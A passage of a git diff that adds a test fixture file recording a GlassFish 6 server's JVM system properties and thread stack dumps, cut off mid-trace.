+org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable +org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker +org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker +org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker +org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable +org.jvnet.hk2.config.Transactions$Notifier$1 diff --git a/integration-test/src/test/resources/infos/GlassFish6ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/GlassFish6ContainerTestBasicInfo.txt new file mode 100644 index 00000000..e54dab04 --- /dev/null +++ b/integration-test/src/test/resources/infos/GlassFish6ContainerTestBasicInfo.txt @@ -0,0 +1,1303 @@ +# Generated At 2025-08-10 14:57:15 +SystemProps: +javax.xml.accessExternalSchema: all +awt.toolkit: sun.awt.X11.XToolkit +jdk.tls.rejectClientInitiatedRenegotiation: true +java.specification.version: 11 +jdk.corba.allowOutputStreamSubclass: true +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +com.sun.aas.installRoot: /usr/local/glassfish6/glassfish +hei: +sun.arch.data.model: 64 +sun.font.fontmanager: sun.awt.X11FontManager +java.vendor.url: https://openjdk.java.net/ +com.sun.aas.productRoot: /usr/local/glassfish6 +catalina.useNaming: false +org.omg.CORBA.ORBSingletonClass: com.sun.corba.ee.impl.orb.ORBSingleton +sun.boot.library.path: /usr/local/openjdk-11/lib +sun.java.command: com.sun.enterprise.glassfish.bootstrap.ASMain -upgrade false -domaindir /usr/local/glassfish6/glassfish/domains/domain1 -read-stdin true -asadmin-args --host,,,localhost,,,--port,,,4848,,,--secure=false,,,--terse=false,,,--echo=false,,,--interactive=false,,,start-domain,,,--verbose=true,,,--watchdog=false,,,--debug=false,,,--domaindir,,,/usr/local/glassfish6/glassfish/domains,,,domain1 -domainname domain1 -instancename server -type DAS -verbose true -asadmin-classpath /usr/local/glassfish6/glassfish/lib/client/appserver-cli.jar -debug false -asadmin-classname com.sun.enterprise.admin.cli.AdminMain +jdk.debug: release +java.specification.vendor: Oracle Corporation +gosh.args: --nointeractive +java.version.date: 2022-07-19 +java.home: /usr/local/openjdk-11 +com.sun.enterprise.security.httpsOutboundKeyAlias: s1as +file.separator: / +java.vm.compressedOopsMode: 32-bit +line.separator: + +javax.rmi.CORBA.StubClass: com.sun.corba.ee.impl.javax.rmi.CORBA.StubDelegateImpl +java.specification.name: Java Platform API Specification +java.vm.specification.vendor: Oracle Corporation +osgi.shell.telnet.ip: 127.0.0.1 +com.sun.aas.derbyRoot: /usr/local/glassfish6/javadb +simple.jacc.provider.JACCRoleMapper.class: com.sun.enterprise.security.web.integration.GlassfishRoleMapper +javax.rmi.CORBA.UtilClass: com.sun.corba.ee.impl.javax.rmi.CORBA.Util +jdbc.drivers: org.apache.derby.jdbc.ClientDriver +javax.net.ssl.trustStore: /usr/local/glassfish6/glassfish/domains/domain1/config/cacerts.jks +java.util.logging.config.file: /usr/local/glassfish6/glassfish/domains/domain1/config/logging.properties +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 11.0.16+8 +GlassFish_Platform: Felix +user.name: root +AS_CONFIG: /usr/local/glassfish6/glassfish/config/../config +felix.fileinstall.poll: 5000 +java.security.policy: /usr/local/glassfish6/glassfish/domains/domain1/config/server.policy +com.sun.enterprise.config.config_environment_factory_class: com.sun.enterprise.config.serverbeans.AppserverConfigEnvironmentFactory +felix.fileinstall.log.level: 2 +file.encoding: UTF-8 +com.sun.aas.imqLib: /usr/local/glassfish6/mq/lib +java.vendor.version: 18.9 +AS_IMQ_BIN: ../../mq/bin +com.sun.enterprise.jaccprovider.property.repository: /usr/local/glassfish6/glassfish/domains/domain1/generated/policy +java.io.tmpdir: /tmp +java.version: 11.0.16 +java.vm.specification.name: Java Virtual Machine Specification +com.sun.aas.instanceRoot: /usr/local/glassfish6/glassfish/domains/domain1 +java.awt.printerjob: sun.print.PSPrinterJob +sun.os.patch.level: unknown +java.library.path: /usr/local/glassfish6/glassfish/lib:/usr/java/packages/lib:/lib:/usr/lib:/usr/lib64:/lib64 +java.vendor: Oracle Corporation +ANTLR_USE_DIRECT_CLASS_LOADING: true +java.rmi.server.randomIDs: true +sun.io.unicode.encoding: UnicodeLittle +AS_DEF_DOMAINS_PATH: /usr/local/glassfish6/glassfish/config/../domains +felix.fileinstall.dir: /usr/local/glassfish6/glassfish/modules/autostart/ +java.class.path: /usr/local/glassfish6/glassfish/modules/glassfish.jar +com.sun.aas.instanceRootURI: file:/usr/local/glassfish6/glassfish/domains/domain1/ +jakarta.security.jacc.PolicyConfigurationFactory.provider: org.glassfish.exousia.modules.locked.SimplePolicyConfigurationFactory +org.glassfish.gmbal.no.multipleUpperBoundsException: true +java.vm.vendor: Oracle Corporation +user.timezone: Etc/UTC +os.name: Linux +java.vm.specification.version: 11 +sun.java.launcher: SUN_STANDARD +sun.cpu.endian: little +user.home: /root +user.language: en +javax.rmi.CORBA.PortableRemoteObjectClass: com.sun.corba.ee.impl.javax.rmi.PortableRemoteObject +felix.fileinstall.bundles.new.start: true +com.sun.aas.hostName: b37480be4554 +AS_INSTALL: /usr/local/glassfish6/glassfish/config/.. +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.awt.headless: true +com.ctc.wstx.returnNullForDefaultNamespace: true +AS_DEF_NODES_PATH: ../nodes +org.omg.CORBA.ORBClass: com.sun.corba.ee.impl.orb.ORBImpl +com.sun.aas.instanceName: server +org.glassfish.additionalOSGiBundlesToStart: org.apache.felix.shell,org.apache.felix.gogo.runtime,org.apache.felix.gogo.shell,org.apache.felix.gogo.command,org.apache.felix.shell.remote,org.apache.felix.fileinstall +path.separator: : +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +com.sun.aas.installRootURI: file:/usr/local/glassfish6/glassfish/ +java.runtime.name: OpenJDK Runtime Environment +osgi.shell.telnet.maxconn: 1 +felix.fileinstall.bundles.startTransient: true +AS_IMQ_LIB: ../../mq/lib +com.sun.aas.configRoot: /usr/local/glassfish6/glassfish/config +com.sun.aas.imqBin: /usr/local/glassfish6/mq/bin +java.vm.name: OpenJDK 64-Bit Server VM +AS_DERBY_INSTALL: /usr/local/glassfish6/glassfish/config/../../javadb +com.sun.aas.javaRoot: /usr/local/openjdk-11 +javax.net.ssl.keyStore: /usr/local/glassfish6/glassfish/domains/domain1/config/keystore.jks +java.security.auth.login.config: /usr/local/glassfish6/glassfish/domains/domain1/config/login.conf +felix.fileinstall.disableConfigSave: false +java.vendor.url.bug: https://bugreport.java.com/bugreport/ +catalina.home: /usr/local/glassfish6/glassfish/domains/domain1 +user.dir: /usr/local/glassfish6/glassfish/domains/domain1/config +os.arch: aarch64 +javax.management.builder.initial: com.sun.enterprise.v3.admin.AppServerMBeanServerBuilder +osgi.shell.telnet.port: 6666 +catalina.base: /usr/local/glassfish6/glassfish/domains/domain1 +com.sun.aas.agentRoot: /usr/local/glassfish6/glassfish/nodes +glassfish.version: Eclipse GlassFish 6.2.5 (build 6.x-b66-g0159b68 2022-02-12T17:39:59+0000) +java.vm.info: mixed mode, sharing +java.vm.version: 11.0.16+8 +com.sun.aas.domainsRoot: /usr/local/glassfish6/glassfish/domains +java.class.version: 55.0 + +=========================================== + +ThreadStacks: +"http-listener-1(3)" #43 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@7808e0ee + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-9" #26 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@320b0309 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"EventAdminAsyncThread #2" #73 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a72692 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"EventAdminAsyncThread #4" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a72692 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"SCR Component Actor" #94 daemon [WAITING] on java.util.LinkedList@7d98bd7e + java.lang.Thread.State: WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at java.base@11.0.16/java.lang.Object.wait(Object.java:328) + at org.apache.felix.scr.impl.ComponentActorThread.run(ComponentActorThread.java:83) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"deployment-jar-scanner" #98 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@389a2ca9 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"admin-listener(2)" #56 daemon [WAITING] on java.lang.Object@6af6831 + java.lang.Thread.State: WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at java.base@11.0.16/java.lang.Object.wait(Object.java:328) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-10" #27 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@320b0309 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"Gogo shell" #90 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@493b4d12 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"Thread-31" #120 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4afb3d13 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@11.0.16/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"http-listener-2-kernel(1) SelectorRunner" #54 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.16/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.16/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.16/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-5" #20 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@320b0309 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-7" #24 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@320b0309 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"CM Configuration Updater" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@9687111 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:483) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:671) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:73) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"pool-18-thread-1" #118 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@31234e0f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"pool-9-thread-1" #106 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@31234e0f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"http-listener-2(2)" #49 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@2a1f4399 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"DestroyJavaVM" #68 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"EventAdminAsyncThread #1" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a72692 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[]]" #111 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1637) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"iiop-service-kernel(1) SelectorRunner" #62 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.16/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.16/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.16/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"admin-listener(5)" #59 daemon [WAITING] on java.lang.Object@6af6831 + java.lang.Thread.State: WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at java.base@11.0.16/java.lang.Object.wait(Object.java:328) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"Thread-32" #121 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4afb3d13 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@11.0.16/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"http-listener-2-expirer(1)" #53 daemon [TIMED_WAITING] on java.lang.Object@391ff06c + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"admin-listener(4)" #58 daemon [WAITING] on java.lang.Object@6af6831 + java.lang.Thread.State: WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at java.base@11.0.16/java.lang.Object.wait(Object.java:328) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"RunLevelControllerThread-1754837831525" #32 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@58b5d3e6 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:761) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:689) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"pool-6-thread-1" #103 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4bf5563f + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:417) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:139) + at 